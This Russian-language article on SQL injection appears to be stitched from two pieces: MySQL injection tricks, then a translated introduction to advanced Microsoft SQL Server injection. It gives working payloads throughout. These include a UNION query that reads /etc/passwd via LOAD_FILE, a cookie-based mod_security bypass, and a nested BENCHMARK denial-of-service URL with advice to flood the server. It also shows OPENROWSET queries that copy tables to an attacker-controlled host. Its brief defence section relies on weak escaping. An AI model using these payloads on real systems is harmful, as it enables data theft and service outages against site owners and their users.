Защита баз данных

       http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

       Единственное  ограничение. В случае, если хочется  сделать into outfile, то а качестве имени  файла, необходимо передать имя файла  в кавычках. into outfile char(...) выдает ошибку.

       2) Mod_security.

       Казалось  бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых  конфигурациях PHP и этого модуля, атаку можно провести прозрачно  для этого модуля.

       Конфигурация  по умолчанию модуля mod_security не фильтрует  значение, переданные как cookie. Одновременно, в некоторых случаях, а также  в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

       Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

       DOS в MySQL инъекции.

       Если  не имеется возможности применения union в запросе, например, MySQL имеет  версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для  того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

       Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем  функцию, которая сама по себе требует  некоторого времени. Например, md5(). В  качестве строки возьмем current_date, чтобы  строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

       http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

       1000000 запросов md5 выполняются (в зависимости  от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около  50 секунд. Вложенный benchmark будет выполняться  очень долго, на любом сервере.  Теперь останется отправлять  до нескольких десятков подобных http запросов в секунду, чтобы  ввести сервер в беспробудный  даун.

       другие  типа MySQL инъекции.

       Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой  функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

       mysql_query("select id from users where password like '".addslashes($password)."' and user like '".addslashes($user)."'");

       в этом случае к любому пользователю подойдет пароль %

       apache mod_rewrite

       В некоторых случаях, СКЛ инъекция возможна даже в параметре, который  преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

       Например, скрипты типа /news/127.html преобразуются  к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*).html$ "/news/news.php?id=$1"

       Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

       Если  выводятся подробные сообщения  об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо  редактируя имя файла.

       коротко о защите.

       Для защиты от всего вышесказанного достаточно придерживаться нескольких простых  правил.

       1) для целых и дробных величин,  перед их использованием в  запросе достаточно привести  величину к нужному типу.

       $id=(int)$id; $total=(float)$total;

       Вместо  этого можно вставить систему  слежения за тестированием на SQL инъекцию.

       if((string)$id<>(string)(int)$id) {

       //пишем  в лог о попытке

       die('ops');

       }

       2) для строковых параметров, которые  не используются в like, regexp и  тд, экранируем кавычки.

       $str=addslashes($str);

       или, лучше,

       mysql_escape_string($str)

       3) в строках, которые предполагается  использовать внутри like, regexp и тд, необходимо так же заэкранировать  специальные символы, применяющиеся  в этих операторах, если это  необходимо. В противном случае, можно задокументировать использование  этих символов.

       Введение

       Этот  документ не охватывает базовый SQL синтаксис  или SQL инъекции. Предполагается, что  читатель уже имеет отличное понимание  предмета. Этот документ будет сфокусирован на продвинутых техниках, которые  могут быть использованы в атаках на web-приложения использующие Microsoft SQL Server. Эти техники демонстрируют  как атакующий может использовать SQL инъекции для того чтобы извлекать  содержимое из базы данных минуя брандмауэр и проникать во внутреннюю сеть. Этот документ призван научить профессионалов информационной безопасности потенциально опасным эффектам SQL инъекций, которые  могут произойти в вашей организации.

       Web-приложения  становятся более защищенными,  поскольку растёт количество  уведомлений об атаках, таких  как SQL инъекции. Тем не менее,  в больших и комплексных приложениях,  одна оплошность может стать  результатом компрометации всей  системы. Множество разработчиков  и администраторов web-приложений  могут иметь ложное ощущение  безопасности, поскольку они используют  хранимые процедуры или скрывают  сообщения об ошибках возвращаемые  в окно браузера. Это даёт основание  верить в то, что уязвимостью  не возможно воспользоваться. 

       Хотя  в этом документе мы обсуждаем Microsoft SQL Server, это не говорит о том, что  этот продукт менее защищен, чем  другие платформы, такие как Oracle или IBM DB2. SQL инъекции это не конкретная уязвимость Microsoft SQL Server это также  проблема баз данных в целом. Возможно, большая проблема Microsoft SQL Server это  его гибкость. Благодаря этой гибкости открываются новые возможности  для проведения атак класса SQL Injection. Цель этого документа показать, что  каждый раз, когда администратор  или разработчик допускает выполнение произвольного SQL запроса, атакуемая  система открыта для полного  захвата. Это не является показателем  того, что продукт Microsoft SQL Server уязвимым в целом.

       Обнаружение SQL инъекций

       Множество разработчиков и web администраторов  считают, что SQL инъекция не представляет угрозы в случае, если атакующий  не может видеть сообщения об ошибках  вызванные SQL запросом или не возвращают результат запроса в окно браузера. В первую очередь адресуем читателя к документу, написанному Chris Ansley из NGSSoftware[1]. Этот документ расширяет возможные  пути использования SQL инъекций.

       При попытке использования SQL инъекций в приложениях, атакующий нуждается  в методе определения действительно  ли произошло внедрение произвольного SQL запроса. Так же существует необходимость  в методе получения результатов. Для этого могут быть использованы две встроенные функции SQL сервера. Функции OPENROWSET и OPENDATASOURCE предназначенные  для открытия удаленного источника  данных. Эти функции используются для открытия соединения посредством  провайдера OLEDB. Функция OPENROWSET будет  использована во всех примерах, но с  теми же результатами может быть использована функция OPENDATASOURCE.

       Это выражение возвращает все строки таблицы table1 из удаленного источника  данных:   

       select * from   

             OPENROWSET( 'SQLoledb',  

                   'server=servername;uid=sa;pwd=h8ck3r',  

                   'select * from table1' )   
 

       Параметры: 
(1) Имя провайдера OLEDB 
(2) Строка подключения (может быть в формате требуемом OLEDB или ODBC) 
(3) Выражение SQL

       Параметр  «строка подключения» может содержать  другие опции, такие как используемую сетевую библиотеку или IP адрес и  порт, необходимые для подключения. Пример приведен ниже.   

       select * from   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',  

             'select * from table' )   
 

       В этом примере, SQL сервер будет использовать провайдер OLEDB – SQLoledb, чтобы выполнить SQL выражение. Провайдер OLEDB будет использовать библиотеку сокетов SQL Server (DBMSSOCN) для  подключения к порту 1433 и IP адресу 10.0.0.10 и результаты SQL выражения будут  возвращены локальному SQL серверу. Логин sa и пароль h8ck3r будут использованы для аутентификации на удаленным  источнике данных.

       Следующий пример демонстрирует, как функция OPENROWSET может быть использована для  подключения к произвольному IP адресу/порту  включая IP адрес и порт атакующего. В этом случае хост хакера имеет  имя hackersip и Microsoft SQL Server работает на 80-ом порту. Имя «hackersip» может быть заменено IP адресом и порт может  быть любым предпочтительным для  хакера.   

       select * from  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from table')   
 

       В процессе SQL инъекции атакующий может  определить, выполнился ли SQL запрос. Если SQL запрос успешно выполнен, атакуемый  сервер попытается установить исходящее  соединение с компьютером атакующего на указанный порт. Это исходящее SQL соединение в большинстве случаев  не будет блокировано брандмауэром, так как используется 80-й порт.

       Эта техника позволяет атакующему узнать выполнился ли SQL запрос, даже если сообщения  об ошибках и результаты запроса  не были выведены в окно браузера.

       Получение результатов из SQL инъекций

       Функции OPENROWSET и OPENDATASOURCE наиболее часто используются для извлечения необходимых данных. Они могут быть также использованы для помещения данных на удаленный SQL сервер. Функция OPENROWSET может быть использована не только для выполнения запроса SELECT, но также для выполнения INSERT и DELETE во внешних источниках данных. Обработка данных из удаленного источника  не является общим случаем и работает, только если OLEDB провайдер поддерживает эту возможность. Провайдер SQLOLEDB обладает такими функциональными возможностями.

       Ниже  приведен пример помещения данных во внешний источник данных:   

       insert into  

             OPENROWSET('SQLoledb',  

             'server=servername;uid=sa;pwd=h8ck3r',  

             'select * from table1')   

       select * from table2   
 

       В этом примере все строки в таблице table2 локального SQL сервера будут  добавлены в таблицу table1 находящуюся  на удаленном сервере. Для успешного  выполнения запроса необходимо чтобы  обе таблицы имели схожую структуру.

       Как мы узнали в предыдущем абзаце, удаленные  источники данных могут быть перенаправлены на любой по выбору сервер атакующего.

       Атакующий может изменить запрос выше для соединения с удаленным источником данных, таким  как копия Microsoft SQL Server запущеная  на машине атакующего.   

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',  

             'select * from table1' 

       select * from table2   
 

       Для того чтобы успешно вставить данные, атакующий должен создать таблицу table1 с теми же столбцами и типами данных как в таблице table2. Эта  информация может быть определена, используя этот же трюк для системных  таблиц. Это сработает, потому что  структура системных таблиц заранее  известна. Атакующий должен начать с создания таблиц со структурой идентичной системным таблицам sysdatabases, sysobjects и syscolumns. Затем чтобы извлечь необходимую  информацию должны быть выполнены следующие SQL запросы: